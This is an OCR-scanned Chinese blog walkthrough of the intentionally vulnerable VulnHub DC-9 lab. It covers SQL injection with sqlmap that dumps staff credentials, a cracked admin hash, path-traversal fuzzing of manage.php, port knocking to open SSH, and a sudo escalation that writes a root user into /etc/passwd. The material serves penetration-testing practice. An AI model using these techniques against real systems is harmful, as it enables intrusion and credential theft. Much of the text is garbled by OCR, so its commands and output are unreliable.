vulnhub#E#1-DC9-Writeup

&8 F 2021-12-09 23:40:49 R Ai 2120 R
SRER: BN CERE: ZE webRA BIFENIRK D

JRAE . A ARG E, #IE CC 4.0 BY-SA WRAUIML, #HEiEN EESCH s MRS,
ACHEE: https://blog.csdn.net/liuhanzhe/article/details/121846605
KA

9 RIE 0T
BB

0x01 4+ A

BEALH AL -

https://www.vulnhub.com/entry/dc-9,412/

DESCRIPTION

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAUY for assistance to get you going
again. But take note: Iwon’'t give you the answer, instead, I'll give you an idea about how to move forward.
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-07 22:38 CST

Nmap scan report for 172.16.89.1

Host is up (@.00038s latency).

MAC Address: 3A:F9:D3:24:32:64 (Unknown)

Nmap scan report for 172.16.89.10

Host is up (@.8@12s latency).

MAC Address: Q0:@C:29:EE:8C:38 (VMware)

Nmap scan report for 172.16.89.2

Host 1s up.

Nmap done: 256 IP addresses (3 hosts up) scanned 1n 2.8@ seconds
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nmap -T5 -A -v -p- 172.16.89.10

s

Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-07 22:39 CST
NSE: Loaded 153 scripts for scanning.

NSE: Script Pre-scanning.

Initiating NSE at 22:39

Completed NSE at 22:39, 0.00s elapsed

Initiating NSE at 22:39

Completed NSE at 22:39, 0.00s elapsed

Initiating NSE at 22:39

Completed NSE at 22:39, 0.00s elapsed

Initiating ARP Ping Scan at 22:39

Scanning 172.16.89.10 [1 port]

Completed ARP Ping Scan at 22:39, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:39
Completed Parallel DNS resolution of 1 host. at 22:39, 0.00s elapsed
Initiating SYN Stealth Scan at 22:39

Scanning 172.16.89.10 [65535 ports]

Discovered open port 80/tcp on 172.16.89.10

Completed SYN Stealth Scan at 22:39, 8.42s elapsed (65535 total ports)
Initiating Service scan at 22:39

Scanning 1 service on 172.16.89.10

Completed Service scan at 22:39, 6.02s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 172.16.89.10

NSE: Script scanning 172.16.89.10.

Initiating NSE at 22:39

Completed NSE at 22:39, 0.27s elapsed

Initiating NSE at 22:39

Completed NSE at 22:39, 0.03s elapsed

Initiating NSE at 22:39

Completed NSE at 22:39, 0.01s elapsed

Nmap scan report for 172.16.89.10

Host is up (0.0012s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

22/tcp filtered ssh




http-methods:

Supported Methods: GET HEAD POST OPTIONS
_http-server-header: Apache/2.4.38 (Debian)
_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:EE:8C:38 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
0S details: Linux 3.2 - 4.9

Uptime guess: 32.554 days (since Sun Sep 5 ©9:21:42 2021)
Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=252 (Good luck!)

IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
il 1.24 ms 172.16.89.10

NSE: Script Post-scanning.
Initiating NSE at 22:39
Completed NSE at 22:39, 0.01s elapsed
Initiating NSE at 22:39
Completed NSE at 22:39, 0.00s elapsed
Initiating NSE at 22:39
Completed NSE at 22:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 16.94 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)
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55? Request to http://172.16.89.10:80

l Forward Jl Drop J[ mmmqnhon]l Action J

J Raw T Params T Headers T Hex ]

POST /results.php HTTP/1.1

Host: 172.16.89.10

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;g=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;qgq=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 8

Origin: http://172.16.89.10

Connection: close

Referer: http://172.16.89.10/search.php

Cookie: PHPSESSID=c9rnsrgbvk65538egntu3ndplOh

Upgrade-Insecure-Requests: 1

search=1|
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sqlmap -r request.txt -D Staff --tables

sqlmap -r request.txt -D Staff
sqglmap -r request.txt -D Staff

sqlmap -r request.txt -D users --tables

sqlmap -r request.txt -D Staff

-T Users --dump
-T StaffDetails --dump

-T UserDetails --dump

UserDetails®® T~ K I — L 7 & %15

lastname

Moe

Dooley
Flintstone
Rubble

Cat

Mouse
Flintstone
Rubble
Bing
Tribbiani
Green
Geller
Geller
Buffay
McScoots
Trump
Morrison
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TC&TheBoyz
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Pebbles
BamBam@1
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ILoveRachel
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marym
julied
fredf
barneyr
Tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

Mary
Julie
Fred
Barney
Tom
Jerry
Wilma
Betty
Chandler
Joey
Rachel
Ross
Monica
Phoebe
Scooter
Donald
Scott



tching columns for table etails' in database
tching entries for table 'St: ils' in databa

phone position
CEO
sources
Administrator
ple.com
tomc@example.com
jerrymgexample.com
wilmafa

+
+|
|
|
I Barney
| Tom
| Jerry
Flintstone | 7 Wilma
Rubble | 7 y Junior Accounts
Bing | 2019-05-01 17:32:00 | C 3 President - Sales
| 2019-05-01 2: 00 Janitor
| 2019-05-01 17 : Personal Assistant
| 2019-05-01 17:32:0€ 2 Instructor
| Monica Marketing
| Phoebe Assistant Janitor
| Scooter Resident Cat
| Donald Repl ment Janitor
| Scott Assistant Replacement Janitor
| aaa sadasd
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ls" dumped to CSV file '
d to text files under C

[*] ending @

Users# T & Fadminlk 5 12 f%hash

admin: 856f5de590ef37314e7c3bd

8a66dc

AFRmdS, #HITmd5MEE, 1535 transorbital1

856f5de590ef37314e7c3bdf6f8a66dc fR®
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Home Display All Records Search Manage Add Record Log Out

Logged in as admin

File does not exist
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@ @ Burp Suite Professional v2.0beta - Temporary Project - licensed to :

Burp Project Intruder Repeater Window Help

[ Dashboard TTarget T Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options ]

1 x 2 x

Target | Positions T Payloads T Options ]

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned tc

Attack type: [Cluster bomb

GET /manage.php?§a§=§b§ HTTP/1.1

Host: 172.16.89.10

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;gq=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;g=0.2

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=c9rnsrgbvk65538egntu3ndplh

Upgrade-Insecure-Requests: 1
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@ O Intruder attack 1 E

Attack Save Columns

j Results T Target T Positions T Payloads T Options 1

‘ Filter: Showing all items |®
Request | Payloadl | Payload2 | Status | Error | Timeout | Length ¥ | Comment |
10820 file ./ ../..]..]etc/passwd 200 O g 3996 [a]
10919 file vl oof o/ ./ .[€TC/ passwd 200 O g 3996
11018 file o] f ] . Jetc/passwd 200 O g 3996 )
11117 file wlod ol of ] o] Jetc/passwd 200 O a 3996
11216 file WS ] ] ] etc [ passwd 200 O a 3996 1
11315 file o o nf o] Jete/ passwd 200 ()] a 3996
11414 file ol od oo od ol o o] JeTC] passwd 200 O a 3996
11513 file oo dfodf ] ] ] Jetc/passwd 200 O a 3996
11612 file d ol d el od o d ol of o JetC]PaS... 200 O O 399
11711 file ok d odod ok of od of of ot o] S eYC] P 200 O a 3996
11810 file Aol d ] ] Jete. 200 O g 3996
11909 file O/ Y 0y ey ey e ey oy ey oy e Lo 1] (0] O 3996
18443 file ..[..[..]../etc/group 200 O a 2590
18542 file ff ] ] -]etc/group 200 O O 2590 "
n 200 M M 1642

J RawT Headers T Hex T HTML T Render ]

HTTP/1.1 200 OK N
Date: Thu, 07 Oct 2021 15:06:05 GMT

Server: Apache/2.4.38 (Debian)

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 3694

Connection: close

Content-Type: text/html; charset=UTF-8

v

< + > Type a search term 0 matches
@ =l

18584 0f154242 Lol |

R

EUNE, KIEH T knock AR S5 RI" SSH, %4 € IV ) 3 D 74 AT LAVS iRl AR 55> ¥ ) knock A Bic B X

http://172.16.89.10/manage.php?file=.../.../...[...1...]...]...I.../etc/knockd.conf

File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -| INPUT -s %IP% -p tcp

--dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT
-s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

i 17 i B SO A ) i

for x in 7469 8475 9842; do nmap -Pn --max-retries @ -p $x 192.168.141.143; done
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Linux dc-9 4. 6- 4mdbq #1 SMP Debian 4.19.67-2+debl@u2 (2019-11-11)

Tha T d1;T11buT10n te:m; h
individual files in fusr/share/d

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
pﬁxmltted by applicable law.

Jdev/null

 fredf C
secure_pat usr/local/sbi usr/Llocal/bin\:/usr/sbi

User fredf may Iun the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
fredfpdc-9:~% I

iZ1T/optidevstuffidist/test/test, & BLH SR iZ1Ttest.py

Tdu—g podeﬂUETU++fdlan est$ DprdﬂMJTufffd
python test.py read append
dc-9: /opt/devstuff/dist/test$ |

# &testpy

find / -name test.py




KBtest.pylftzE:

1 /usr/bin/pythonimport sysif len (sys.argv)
1)else : "r'")
f.close()

f = open(sys.argv[1l],

YRR — NS B,

echo

output

'test:sXuCKi7k3Xh/s:0:0::/root:/bin/bash’

lopt/devstuffitest.py, ZFEtest.pyftid

I= 3 ¢ print ("Usage:

(f.read())

= f = open(sys.argv[2], "a")

HMBIE —FSHoCHY, 1T LU RE S /etc/passwd

> /tmp/testcd /opt/devstuff/dist/test/sudo

passwdsu testPassword: toorcd /rootlscat theflag.txt

fredfadc
Password:
rootodc-
root@dc-9:~# 1s
theflag.txt

rootpdc-9:~# cat theflag.

-9:/opt/devstuff/dist/

5

Congratulation

Just

Hope you enjoyed DC-9.
who have taken the time to comp

d

I also want to send out big th:

They are an inspirational bunch

smell a

they might bit,

r, all things must come to
engn in the DC series.

rootodc-

of
but

an end,

test$

9:/opt/devstuff/dist/test#f cd /root

- you have done well

wanted
lete

ink you to the various members of

F fellows.
. just kidding.

and this will be the 1la

python test.py read append")

sys.exit (
f.write(output)

./test /tmp/test /etc/

am@tl3ycr3w
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